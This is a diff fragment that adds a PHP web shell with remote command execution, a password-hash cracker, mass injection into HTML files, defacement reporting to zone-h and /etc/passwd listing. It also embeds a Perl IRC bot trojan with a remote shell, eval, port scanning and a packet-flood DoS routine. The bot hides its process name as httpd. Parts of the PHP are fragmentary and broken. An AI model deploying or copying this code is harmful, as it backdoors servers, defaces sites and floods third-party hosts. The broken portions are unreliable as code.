";
+}
+
+if(isset($_POST['commex']))
+{
+echo "
+CMD :]
+ passthru
+ popen
+ exec
+ shell_exec
+ system
+ ";
+ switch (@$_POST['functionz']) {
+ case "system":
+ system(stripslashes($_POST['cmd']));
+
+ break;
+ case "popen":
+ $handle = popen($_POST['cmd'].' 2>&1', 'r');
+ echo "'$handle'; " . gettype($handle) . "\n";
+ $read = fread($handle, 2096);
+ echo $read;
+ pclose($handle);
+
+ break;
+ case "shell_exec":
+ shell_exec(stripslashes($_POST['cmd']));
+
+
+ break;
+ case "exec":
+ exec(stripslashes($_POST['cmd']));
+
+ break;
+ case "passthru":
+ passthru(stripslashes($_POST['cmd']));
+
+ }
+ }
+
+elseif(isset($_POST['mail']))
+{
+echo " ";
+$sta="";
+$sfnt="";$efnt=" ";
+error_reporting(0);
+set_magic_quotes_runtime(0);
+
+
+if(version_compare(phpversion(), '4.1.0') == -1)
+ {$_POST = &$HTTP_POST_VARS;$_GET = &$HTTP_GET_VARS;
+ $_SERVER = &$HTTP_SERVER_VARS;
+ }function inclink($link,$val){$requ=$_SERVER["REQUEST_URI"];
+if (strstr ($requ,$link)){return preg_replace("/$link=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr ($requ,"showsc")){return preg_replace("/showsc=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}
+elseif (strstr ($requ,"hlp")){return preg_replace("/hlp=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr($requ,"?")){return $requ."&".$link."=".$val;}
+else{return $requ."?".$link."=".$val;}}
+function delm($delmtxt){print"";
+callperms($path); print " ";}
+elseif (!is_readable($path)&&!is_writable($path)){print "";
+callperms($path); print " ";}
+else {print "";callperms($path);}}
+if ($dlink=="dwld"){download($_REQUEST['dwld']);}
+function download($dwfile) {$size = filesize($dwfile);
+@header("Content-Type: application/force-download;name=$dwfile");
+@header("Content-Transfer-Encoding: binary");
+@header("Content-Length: $size");
+@header("Content-Disposition: attachment; filename=$dwfile");
+@header("Expires: 0");
+@header("Cache-Control: no-cache, must-revalidate");
+@header("Pragma: no-cache");
+@readfile($dwfile); exit;}
+?>
+";$ef="";
+$st="";$c1="";
+$c2=" ";$ec=" ";$efnt=" ";
+################# Ending of common variables ########################
+
+
+print"";print""; print"
+
";print "";print""; print"";print "";
+
+
+if ($act == 'encoder')
+{
+ echo " Encoder: ";
+
+
+?>
+
+
+
+
+Search milw0rm for MD5 hash
+Search md5encryption.com for MD5 or SHA1 hash
+Search CsTeam for MD5 hash
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+';
+ if ($hash == $type(rtrim($word))) {
+ echo 'Great success! The password is: '.$word.' Buffer is empty! File-System buffer Can't delete ".__FILE__."! Error: incorrect confimation! ";}
+ $rnd = rand(0,9).rand(0,9).rand(0,9);
+ echo "";
+ }
+}
+if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "".$ret." "; if (stristr($ret,"new version")) {echo "Thanks for your feedback! Your ticket ID: ".$ticket.". Mass Code Injection: failed to inject '.$injectj00.' ';
+ }
+ }
+ foreach (glob($_GET['pathtomass']."/*.htm") as $injectj00) {
+ $fp=fopen($injectj00,"a+");
+ if (fputs($fp,$lolinject)){
+ echo $injectj00.' was injectedfailed to inject '.$injectj00.' ';
+ }
+ }
+ foreach (glob($_GET['pathtomass']."/*.html") as $injectj00) {
+ $fp=fopen($injectj00,"a+");
+ if (fputs($fp,$lolinject)){
+ echo $injectj00.' was injectedfailed to inject '.$injectj00.' ';
+ }
+ }
+ } else { //end if inputted dir is real -- if not, show an ugly red error
+ echo ''.$_GET['pathtomass'].' is not available! : Choose a php file to view in a color mode, any extension else will appears as usual :";print " ";die(); }else {print "
[ Sorry, Can't create the index !! ]
";die();}}
+if ($dlink=='qindx'&&!isset($_REQUEST['qindsub'])){
+print $sf."
";
+input ("text","indx","Index-name",35);print " ";
+input ("submit","qindsub","Create","");print $ef;die();}
+if (isset ($_REQUEST['mailsub'])&&!empty($_REQUEST['mailto'])){
+$mailto=$_REQUEST['mailto'];$subj=$_REQUEST['subj'];$mailtxt=$_REQUEST['mailtxt'];
+if (mail($mailto,$subj,$mailtxt)){print "[ Mail sended to $sfnt".$mailto." $efnt successfully ]
"; die();}else {print "[ Error, Can't send the mail ]
";die();}} elseif(isset ($mailsub)&&empty($mailto)) {print "[ Error, Can't send the mail ]
";die();}
+if ($dlink=='mail'&&!isset($_REQUEST['mailsub'])){
+print $sf."
";input ("text","mailto","example@mail.com",35);print " ";input ("text","subj","Title-here",20);print " ";
+input ("submit","mailsub","Send-mail","");print $ef;die();}
+if (isset($_REQUEST['zonet'])&&!empty($_REQUEST['zonet'])){callzone($nscdir);}
+function callzone($nscdir){
+if (is_writable($nscdir)){$fpz=fopen ("z.pl","w");$zpl='z.pl';$li="bklist.txt";}
+else {$fpz=fopen ("/tmp/z.pl","w");$zpl='/tmp/z.pl';$li="/tmp/bklist.txt";}
+fwrite ($fpz,"\$arq = @ARGV[0];
+\$grupo = @ARGV[1];
+chomp \$grupo;
+open(a,\"<\$arq\");
+@site = ;
+close(a);
+\$b = scalar(@site);
+for(\$a=0;\$a<=\$b;\$a++)
+{chomp \$site[\$a];
+if(\$site[\$a] =~ /http/) { substr(\$site[\$a], 0, 7) =\"\"; }
+print \"[+] Sending \$site[\$a]\n\";
+use IO::Socket::INET;
+\$sock = IO::Socket::INET->new(PeerAddr => \"old.zone-h.org\", PeerPort => 80, Proto => \"tcp\") or next;
+print \$sock \"POST /en/defacements/notify HTTP/1.0\r\n\";
+print \$sock \"Accept: */*\r\n\";
+print \$sock \"Referer: http://old.zone-h.org/en/defacements/notify\r\n\";
+print \$sock \"Accept-Language: pt-br\r\n\";
+print \$sock \"Content-Type: application/x-www-form-urlencoded\r\n\";
+print \$sock \"Connection: Keep-Alive\r\n\";
+print \$sock \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n\";
+print \$sock \"Host: old.zone-h.org\r\n\";
+print \$sock \"Content-Length: 385\r\n\";
+print \$sock \"Pragma: no-cache\r\n\";
+print \$sock \"\r\n\";
+print \$sock \"notify_defacer=\$grupo¬ify_domain=http%3A%2F%2F\$site[\$a]¬ify_hackmode=22¬ify_reason=5¬ify=+OK+\r\n\";
+close(\$sock);}");
+if (touch ($li)==true){$fpl=fopen($li,"w+");fwrite ($fpl,$_REQUEST['zonetxt']);
+}else{print "[ Can't complete the operation, try change the current dir with writable one ]
[ All sites should be sended to zone-h.org successfully !! ]";die();}
+}if ($dlink=='zone'&&!isset($_REQUEST['zonesub'])){
+print $sf."
";print "OFF ( Not secured ) ON ( Secured ) None ".$nchkin." ON OFF "; echo "';
+ $memf = @file("meminfo");
+ if($memf)
+ {
+ $c = sizeof($memf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = explode(":",$memf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
'.ws(3).'
';
+ echo "';
+ $memf = @file("meminfo");
+ if($memf)
+ {
+ $c = sizeof($memf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = explode(":",$memf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
'.ws(3).'
';
+ echo ":: ";
+$table_up2 = " ::
";
+$table_up3 = "";
+$table_end1 = " 4 ";
+$lb = "[ ";
+$rb = "] ";
+$font = "";
+$ts = "";
+$fs = "";
+
+
+if(isset($_GET['users']))
+ {
+ if(!$users=get_users('/etc/passwd')) { echo " ".$lang[$language.'_text96']." ';
+ foreach($users as $user) { echo $user." ';
+ }
+ echo "";
+ foreach($res as $file=>$v)
+ {
+ $r .= "";
+ $r .= "".ws(3);
+ $r .= (!$unix)? str_replace("/","\\",$file) : $file;
+ $r .= " ";
+ foreach($v as $a=>$b)
+ {
+ $r .= "";
+ $r .= "".$a." ".ws(2).$b." \n";
+ }
+ }
+ $r .= "
";
+ echo $r;
+ }
+ else
+ {
+ echo "".$lang[$language.'_text56']."
";
+ }
+ echo "';
+echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
+if(!empty($txt)) { echo " $txt"; }
+echo '
';
+return null;
+}
+function perms($mode)
+{
+if (!$GLOBALS['unix']) return 0;
+if( $mode & 0x1000 ) { $type='p'; }
+else if( $mode & 0x2000 ) { $type='c'; }
+else if( $mode & 0x4000 ) { $type='d'; }
+else if( $mode & 0x6000 ) { $type='b'; }
+else if( $mode & 0x8000 ) { $type='-'; }
+else if( $mode & 0xA000 ) { $type='l'; }
+else if( $mode & 0xC000 ) { $type='s'; }
+else $type='u';
+$owner["read"] = ($mode & 00400) ? 'r' : '-';
+$owner["write"] = ($mode & 00200) ? 'w' : '-';
+$owner["execute"] = ($mode & 00100) ? 'x' : '-';
+$group["read"] = ($mode & 00040) ? 'r' : '-';
+$group["write"] = ($mode & 00020) ? 'w' : '-';
+$group["execute"] = ($mode & 00010) ? 'x' : '-';
+$world["read"] = ($mode & 00004) ? 'r' : '-';
+$world["write"] = ($mode & 00002) ? 'w' : '-';
+$world["execute"] = ($mode & 00001) ? 'x' : '-';
+if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
+if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
+if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
+$s=sprintf("%1s", $type);
+$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
+$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
+$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
+return trim($s);
+}
+function in($type,$name,$size,$value,$checked=0)
+{
+ $ret = "".$t1." ".$t2." FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
+ $this->text = $text;
+ $this->FilesTotal = @count($this->FilesToSearch);
+ $this->TimeStart = getmicrotime();
+ $this->MatchesCount = 0;
+ $this->ResultFiles = Array();
+ $this->FileMatchesCount = Array();
+ $this->titles = Array();
+ }
+ function GetFilesTotal() { return $this->FilesTotal; }
+ function GetTitles() { return $this->titles; }
+ function GetTimeTotal() { return $this->TimeTotal; }
+ function GetMatchesCount() { return $this->MatchesCount; }
+ function GetFileMatchesCount() { return $this->FileMatchesCount; }
+ function GetResultFiles() { return $this->ResultFiles; }
+ function SearchText($phrase=0,$case=0) {
+ $qq = @explode(' ',$this->text);
+ $delim = '|';
+ if($phrase)
+ foreach($qq as $k=>$v)
+ $qq[$k] = '\b'.$v.'\b';
+ $words = '('.@implode($delim,$qq).')';
+ $pattern = "/".$words."/";
+ if(!$case)
+ $pattern .= 'i';
+ foreach($this->FilesToSearch as $k=>$filename)
+ {
+ $this->FileMatchesCount[$filename] = 0;
+ $FileStrings = @file($filename) or @next;
+ for($a=0;$a<@count($FileStrings);$a++)
+ {
+ $count = 0;
+ $CurString = $FileStrings[$a];
+ $CurString = @Trim($CurString);
+ $CurString = @strip_tags($CurString);
+ $aa = '';
+ if(($count = @preg_match_all($pattern,$CurString,$aa)))
+ {
+ $CurString = @preg_replace($pattern,"\\1 OverclockiX Shell-Connector || Connecting to $ircserver<title>";
+echo "<body bgcolor=\"black\" text=\"green\">";
+echo "Now Connecting to <b><font color=\"red\">$ircserver</font></b> in <b><font color=\"yellow\">$ircchan</font></b> Andministrators: <b><font color=\"yellow\">$ircadmin</font></b> Botname is <b><font color=\"yellow\">$irclabel</font></b>";
+echo "<p>Dont Forget to Delete Loader.pl in /tmp</p>";
+#######################################################
+######################IRC Trojan##########################
+$file="
+################ CONFIGURACAO #################################################################
+my \$processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #
+#----------------------------------------------################################################
+my \$linas_max='48'; # Evita o flood :) depois de X linhas #
+#----------------------------------------------################################################
+my \$sleep='4'; # ele dorme X segundos #
+##################### IRC #####################################################################
+my @adms=(\"$ircadmin\"); # Nick do administrador #
+#----------------------------------------------################################################
+my @canais=(\"$ircchan\"); # Caso haja senha (\"#canal :senha\") #
+#----------------------------------------------################################################
+my \$nick='$irclabel'; # Nick do bot. Caso esteja em uso vai aparecer #
+ # aparecer com numero radonamico no final #
+#----------------------------------------------################################################
+my \$ircname = 'Linux'; # User ID #
+#----------------------------------------------################################################
+chop (my \$realname = `uname -a`); # Full Name #
+#----------------------------------------------################################################
+\$servidor='$ircserver' unless \$servidor; # Servidor de irc que vai ser usado #
+ # caso n?o seja especificado no argumento #
+#----------------------------------------------################################################
+my \$porta='6667'; # Porta do servidor de irc #
+################ ACESSO A SHELL ###############################################################
+my \$secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
+###############################################################################################
+my \$VERSAO = '0.2';
+\$SIG{'INT'} = 'IGNORE';
+\$SIG{'HUP'} = 'IGNORE';
+\$SIG{'TERM'} = 'IGNORE';
+\$SIG{'CHLD'} = 'IGNORE';
+\$SIG{'PS'} = 'IGNORE';
+\$SIG{'STOP'} = 'IGNORE';
+use IO::Socket;
+use Socket;
+use IO::Select;
+chdir(\"/\");
+\$servidor=\"\$ARGV[0]\" if \$ARGV[0];
+$0=\"\$processo\".\"\0\"x16;;
+my \$pid=fork;
+exit if \$pid;
+die \"Problema com o fork: $!\" unless defined(\$pid);
+my \$dcc_sel = new IO::Select->new();
+#############################
+# B0tchZ na veia ehehe :P #
+#############################
+
+
+\$sel_cliente = IO::Select->new();
+sub sendraw {
+ if ($#_ == '1') {
+ my \$socket = \$_[0];
+ print \$socket \"\$_[1]\\n\";
+ } else {
+ print \$IRC_cur_socket \"\$_[0]\\n\";
+ }
+}
+#################################
+sub conectar {
+ my \$meunick = \$_[0];
+ my \$servidor_con = \$_[1];
+ my \$porta_con = \$_[2];
+
+
+ my \$IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"\$servidor_con\", PeerPort=>\$porta_con) or return(1);
+ if (defined(\$IRC_socket)) {
+ \$IRC_cur_socket = \$IRC_socket;
+
+
+ \$IRC_socket->autoflush(1);
+ \$sel_cliente->add(\$IRC_socket);
+
+
+ \$irc_servers{\$IRC_cur_socket}{'host'} = \"\$servidor_con\";
+ \$irc_servers{\$IRC_cur_socket}{'porta'} = \"\$porta_con\";
+ \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
+ \$irc_servers{\$IRC_cur_socket}{'meuip'} = \$IRC_socket->sockhost;
+ nick(\"\$meunick\");
+ sendraw(\"USER \$ircname \".\$IRC_socket->sockhost.\" \$servidor_con :\$realname\");
+ sleep 1;
+ }
+} #####################
+
+
+my \$line_temp;
+while( 1 ) {
+ while (!(keys(%irc_servers))) { conectar(\"\$nick\", \"\$servidor\", \"\$porta\"); }
+ delete(\$irc_servers{''}) if (defined(\$irc_servers{''}));
+ &DCC::connections;
+ my @ready = \$sel_cliente->can_read(0);
+ next unless(@ready);
+ foreach \$fh (@ready) {
+ \$IRC_cur_socket = \$fh;
+ \$meunick = \$irc_servers{\$IRC_cur_socket}{'nick'};
+ \$nread = sysread(\$fh, \$msg, 4096);
+ if (\$nread == 0) {
+ \$sel_cliente->remove(\$fh);
+ \$fh->close;
+ delete(\$irc_servers{\$fh});
+ }
+ @lines = split (/\\n/, \$msg);
+
+
+ for(my \$c=0; \$c<= $#lines; \$c++) {
+ \$line = \$lines[\$c];
+ \$line=\$line_temp.\$line if (\$line_temp);
+ \$line_temp='';
+ \$line =~ s/\\r$//;
+ unless (\$c == $#lines) {
+ parse(\"\$line\");
+ } else {
+ if ($#lines == 0) {
+ parse(\"\$line\");
+ } elsif (\$lines[\$c] =~ /\\r$/) {
+ parse(\"\$line\");
+ } elsif (\$line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
+ parse(\"\$line\");
+ } else {
+ \$line_temp = \$line;
+ }
+ }
+ }
+ }
+}
+
+
+#########################
+
+
+
+
+sub parse {
+ my \$servarg = shift;
+ if (\$servarg =~ /^PING \:(.*)/) {
+ sendraw(\"PONG :$1\");
+ } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
+ my \$pn=$1; my \$onde = $4; my \$args = $5;
+ if (\$args =~ /^\\001VERSION\\001$/) {
+ notice(\"\$pn\", \"\\001VERSION ShellBOT-\$VERSAO por 0ldW0lf\\001\");
+ }
+ if (grep {\$_ =~ /^\Q\$pn\E$/i } @adms) {
+ if (\$onde eq \"\$meunick\"){
+ shell(\"\$pn\", \"\$args\");
+ }
+ if (\$args =~ /^(\Q\$meunick\E|\!atrix)\s+(.*)/ ) {
+ my \$natrix = $1;
+ my \$arg = $2;
+ if (\$arg =~ /^\!(.*)/) {
+ ircase(\"\$pn\",\"\$onde\",\"\$1\") unless (\$natrix eq \"!atrix\" and \$arg =~ /^\!nick/);
+ } elsif (\$arg =~ /^\@(.*)/) {
+ \$ondep = \$onde;
+ \$ondep = \$pn if \$onde eq \$meunick;
+ bfunc(\"\$ondep\",\"$1\");
+ } else {
+ shell(\"\$onde\", \"\$arg\");
+ }
+ }
+ }
+ } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
+ if (lc($1) eq lc(\$meunick)) {
+ \$meunick=$4;
+ \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
+ }
+ } elsif (\$servarg =~ m/^\:(.+?)\s+433/i) {
+ nick(\"\$meunick\".int rand(9999));
+ } elsif (\$servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
+ \$meunick = $2;
+ \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
+ \$irc_servers{\$IRC_cur_socket}{'nome'} = \"$1\";
+ foreach my \$canal (@canais) {
+ sendraw(\"JOIN \$canal\");
+ }
+ }
+}
+##########################
+
+
+sub bfunc {
+ my \$printl = \$_[0];
+ my \$funcarg = \$_[1];
+ if (my \$pid = fork) {
+ waitpid(\$pid, 0);
+ } else {
+ if (fork) {
+ exit;
+ } else {
+ if (\$funcarg =~ /^portscan (.*)/) {
+ my \$hostip=\"$1\";
+ my @portas=(\"21\",\"22\",\"23\",\"25\",\"53\",\"80\",\"110\",\"143\");
+ my (@aberta, %porta_banner);
+ foreach my \$porta (@portas) {
+ my \$scansock = IO::Socket::INET->new(PeerAddr => \$hostip, PeerPort => \$porta, Proto => 'tcp', Timeout => 4);
+ if (\$scansock) {
+ push (@aberta, \$porta);
+ \$scansock->close;
+ }
+ }
+
+
+ if (@aberta) {
+ sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :portas abertas: @aberta\");
+ } else {
+ sendraw(\$IRC_cur_socket,\"PRIVMSG \$printl :Nenhuma porta aberta foi encontrada\");
+ }
+ }
+ if (\$funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
+ my (\$dtime, %pacotes) = attacker(\"$1\", \"$2\", \"$3\");
+ \$dtime = 1 if \$dtime == 0;
+ my %bytes;
+ \$bytes{igmp} = $2 * \$pacotes{igmp};
+ \$bytes{icmp} = $2 * \$pacotes{icmp};
+ \$bytes{o} = $2 * \$pacotes{o};
+ \$bytes{udp} = $2 * \$pacotes{udp};
+ \$bytes{tcp} = $2 * \$pacotes{tcp};
+
+
+ sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002 - Status GERAL -\\002\");
+ sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Tempo\\002: \$dtime\".\"s\");
+ sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total pacotes\\002: \".(\$pacotes{udp} + \$pacotes{igmp} + \$pacotes{icmp} + \$pacotes{o}));
+ sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total bytes\\002: \".(\$bytes{icmp} + \$bytes {igmp} + \$bytes{udp} + \$bytes{o}));
+ sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Media de envio\\002: \".int(((\$bytes{icmp}+\$bytes{igmp}+\$bytes{udp} + \$bytes{o})/1024)/\$dtime).\" kbps\");
+
+
+ }
+ exit;
+ }
+ }
+}
+##########################
+
+
+
+
+sub ircase {
+ my (\$kem, \$printl, \$case) = @_;
+
+
+
+
+ if (\$case =~ /^join (.*)/) {
+ j(\"$1\");
+ }
+ if (\$case =~ /^part (.*)/) {
+ p(\"$1\");
+ }
+ if (\$case =~ /^rejoin\s+(.*)/) {
+ my \$chan = $1;
+ if (\$chan =~ /^(\d+) (.*)/) {
+ for (my \$ca = 1; \$ca <= $1; \$ca++ ) {
+ p(\"$2\");
+ j(\"$2\");
+ }
+ } else {
+ p(\"\$chan\");
+ j(\"\$chan\");
+ }
+ }
+ if (\$case =~ /^op/) {
+ op(\"\$printl\", \"\$kem\") if \$case eq \"op\";
+ my \$oarg = substr(\$case, 3);
+ op(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
+ }
+ if (\$case =~ /^deop/) {
+ deop(\"\$printl\", \"\$kem\") if \$case eq \"deop\";
+ my \$oarg = substr(\$case, 5);
+ deop(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
+ }
+ if (\$case =~ /^voice/) {
+ voice(\"\$printl\", \"\$kem\") if \$case eq \"voice\";
+ \$oarg = substr(\$case, 6);
+ voice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
+ }
+ if (\$case =~ /^devoice/) {
+ devoice(\"\$printl\", \"\$kem\") if \$case eq \"devoice\";
+ \$oarg = substr(\$case, 8);
+ devoice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
+ }
+ if (\$case =~ /^msg\s+(\S+) (.*)/) {
+ msg(\"$1\", \"$2\");
+ }
+ if (\$case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
+ for (my \$cf = 1; \$cf <= $1; \$cf++) {
+ msg(\"$2\", \"$3\");
+ }
+ }
+ if (\$case =~ /^ctcp\s+(\S+) (.*)/) {
+ ctcp(\"$1\", \"$2\");
+ }
+ if (\$case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
+ for (my \$cf = 1; \$cf <= $1; \$cf++) {
+ ctcp(\"$2\", \"$3\");
+ }
+ }
+ if (\$case =~ /^invite\s+(\S+) (.*)/) {
+ invite(\"$1\", \"$2\");
+ }
+ if (\$case =~ /^nick (.*)/) {
+ nick(\"$1\");
+ }
+ if (\$case =~ /^conecta\s+(\S+)\s+(\S+)/) {
+ conectar(\"$2\", \"$1\", 6667);
+ }
+ if (\$case =~ /^send\s+(\S+)\s+(\S+)/) {
+ DCC::SEND(\"$1\", \"$2\");
+ }
+ if (\$case =~ /^raw (.*)/) {
+ sendraw(\"$1\");
+ }
+ if (\$case =~ /^eval (.*)/) {
+ eval \"$1\";
+ }
+}
+##########################
+
+
+sub shell {
+ return unless \$secv;
+ my \$printl=\$_[0];
+ my \$comando=\$_[1];
+ if (\$comando =~ /cd (.*)/) {
+ chdir(\"$1\") || msg(\"\$printl\", \"Dossier Makayench :D \");
+ return;
+ }
+ elsif (\$pid = fork) {
+ waitpid(\$pid, 0);
+ } else {
+ if (fork) {
+ exit;
+ } else {
+ my @resp=`\$comando 2>&1 3>&1`;
+ my \$c=0;
+ foreach my \$linha (@resp) {
+ \$c++;
+ chop \$linha;
+ sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\$linha\");
+ if (\$c == \"\$linas_max\") {
+ \$c=0;
+ sleep \$sleep;
+ }
+ }
+ exit;
+ }
+ }
+}
+
+
+#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
+sub attacker {
+ my \$iaddr = inet_aton(\$_[0]);
+ my \$msg = 'B' x \$_[1];
+ my \$ftime = \$_[2];
+ my \$cp = 0;
+ my (%pacotes);
+ \$pacotes{icmp} = \$pacotes{igmp} = \$pacotes{udp} = \$pacotes{o} = \$pacotes{tcp} = 0;
+
+
+ socket(SOCK1, PF_INET, SOCK_RAW, 2) or \$cp++;
+ socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or \$cp++;
+ socket(SOCK3, PF_INET, SOCK_RAW, 1) or \$cp++;
+ socket(SOCK4, PF_INET, SOCK_RAW, 6) or \$cp++;
+ return(undef) if \$cp == 4;
+ my \$itime = time;
+ my (\$cur_time);
+ while ( 1 ) {
+ for (my \$porta = 1; \$porta <= 65535; \$porta++) {
+ \$cur_time = time - \$itime;
+ last if \$cur_time >= \$ftime;
+ send(SOCK1, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{igmp}++;
+ send(SOCK2, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{udp}++;
+ send(SOCK3, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{icmp}++;
+ send(SOCK4, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{tcp}++;
+
+
+ # DoS ?? :P
+ for (my \$pc = 3; \$pc <= 255;\$pc++) {
+ next if \$pc == 6;
+ \$cur_time = time - \$itime;
+ last if \$cur_time >= \$ftime;
+ socket(SOCK5, PF_INET, SOCK_RAW, \$pc) or next;
+ send(SOCK5, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{o}++;;
+ }
+ }
+ last if \$cur_time >= \$ftime;
+ }
+ return(\$cur_time, %pacotes);
+}
+
+
+#############
+# ALIASES #
+#############
+
+
+sub action {
+ return unless $#_ == 1;
+ sendraw(\"PRIVMSG \$_[0] :\\001ACTION \$_[1]\\001\");
+}
+
+
+sub ctcp {
+ return unless $#_ == 1;
+ sendraw(\"PRIVMSG \$_[0] :\\001\$_[1]\\001\");
+}
+sub msg {
+ return unless $#_ == 1;
+ sendraw(\"PRIVMSG \$_[0] :\$_[1]\");
+}
+
+
+sub notice {
+ return unless $#_ == 1;
+ sendraw(\"NOTICE \$_[0] :\$_[1]\");
+}
+
+
+sub op {
+ return unless $#_ == 1;
+ sendraw(\"MODE \$_[0] +o \$_[1]\");
+}
+sub deop {
+ return unless $#_ == 1;
+ sendraw(\"MODE \$_[0] -o \$_[1]\");
+}
+sub hop {
+ return unless $#_ == 1;
+ sendraw(\"MODE \$_[0] +h \$_[1]\");
+}
+sub dehop {
+ return unless $#_ == 1;
+ sendraw(\"MODE \$_[0] +h \$_[1]\");
+}
+sub voice {
+ return unless $#_ == 1;
+ sendraw(\"MODE \$_[0] +v \$_[1]\");
+}
+sub devoice {
+ return unless $#_ == 1;
+ sendraw(\"MODE \$_[0] -v \$_[1]\");
+}
+sub ban {
+ return unless $#_ == 1;
+ sendraw(\"MODE \$_[0] +b \$_[1]\");
+}
+sub unban {
+ return unless $#_ == 1;
+ sendraw(\"MODE \$_[0] -b \$_[1]\");
+}
+sub kick {
+ return unless $#_ == 1;
+ sendraw(\"KICK \$_[0] \$_[1] :\$_[2]\");
+}
+
+
+sub modo {
+ return unless $#_ == 0;
+ sendraw(\"MODE \$_[0] \$_[1]\");
+}
+sub mode { modo(@_); }
+
+
+sub j { &join(@_); }
+sub join {
+ return unless $#_ == 0;
+ sendraw(\"JOIN \$_[0]\");
+}
+sub p { part(@_); }
+sub part {sendraw(\"PART \$_[0]\");}
+
+
+sub nick {
+ return unless $#_ == 0;
+ sendraw(\"NICK \$_[0]\");
+}
+
+
+sub invite {
+ return unless $#_ == 1;
+ sendraw(\"INVITE \$_[1] \$_[0]\");
+}
+sub topico {
+ return unless $#_ == 1;
+ sendraw(\"TOPIC \$_[0] \$_[1]\");
+}
+sub topic { topico(@_); }
+
+
+sub whois {
+ return unless $#_ == 0;
+ sendraw(\"WHOIS \$_[0]\");
+}
+sub who {
+ return unless $#_ == 0;
+ sendraw(\"WHO \$_[0]\");
+}
+sub names {
+ return unless $#_ == 0;
+ sendraw(\"NAMES \$_[0]\");
+}
+sub away {
+ sendraw(\"AWAY \$_[0]\");
+}
+sub back { away(); }
+sub quit {
+ sendraw(\"QUIT :\$_[0]\");
+}
+
+
+# DCC
+#########################
+
+
+package DCC;
+
+
+sub connections {
+ my @ready = \$dcc_sel->can_read(1);
+# return unless (@ready);
+ foreach my \$fh (@ready) {
+ my \$dcctipo = \$DCC{\$fh}{tipo};
+ my \$arquivo = \$DCC{\$fh}{arquivo};
+ my \$bytes = \$DCC{\$fh}{bytes};
+ my \$cur_byte = \$DCC{\$fh}{curbyte};
+ my \$nick = \$DCC{\$fh}{nick};
+
+
+
+
+ my \$msg;
+ my \$nread = sysread(\$fh, \$msg, 10240);
+
+
+ if (\$nread == 0 and \$dcctipo =~ /^(get|sendcon)$/) {
+ \$DCC{\$fh}{status} = \"Cancelado\";
+ \$DCC{\$fh}{ftime} = time;
+ \$dcc_sel->remove(\$fh);
+ \$fh->close;
+ next;
+ }
+
+
+ if (\$dcctipo eq \"get\") {
+ \$DCC{\$fh}{curbyte} += length(\$msg);
+
+
+ my \$cur_byte = \$DCC{\$fh}{curbyte};
+
+
+ open(FILE, \">> \$arquivo\");
+ print FILE \"\$msg\" if (\$cur_byte <= \$bytes);
+ close(FILE);
+
+
+ my \$packbyte = pack(\"N\", \$cur_byte);
+ print \$fh \"\$packbyte\";
+
+
+
+
+ if (\$bytes == \$cur_byte) {
+ \$dcc_sel->remove(\$fh);
+ \$fh->close;
+ \$DCC{\$fh}{status} = \"Recebido\";
+ \$DCC{\$fh}{ftime} = time;
+ next;
+ }
+ } elsif (\$dcctipo eq \"send\") {
+ my \$send = \$fh->accept;
+ \$send->autoflush(1);
+ \$dcc_sel->add(\$send);
+ \$dcc_sel->remove(\$fh);
+ \$DCC{\$send}{tipo} = 'sendcon';
+ \$DCC{\$send}{itime} = time;
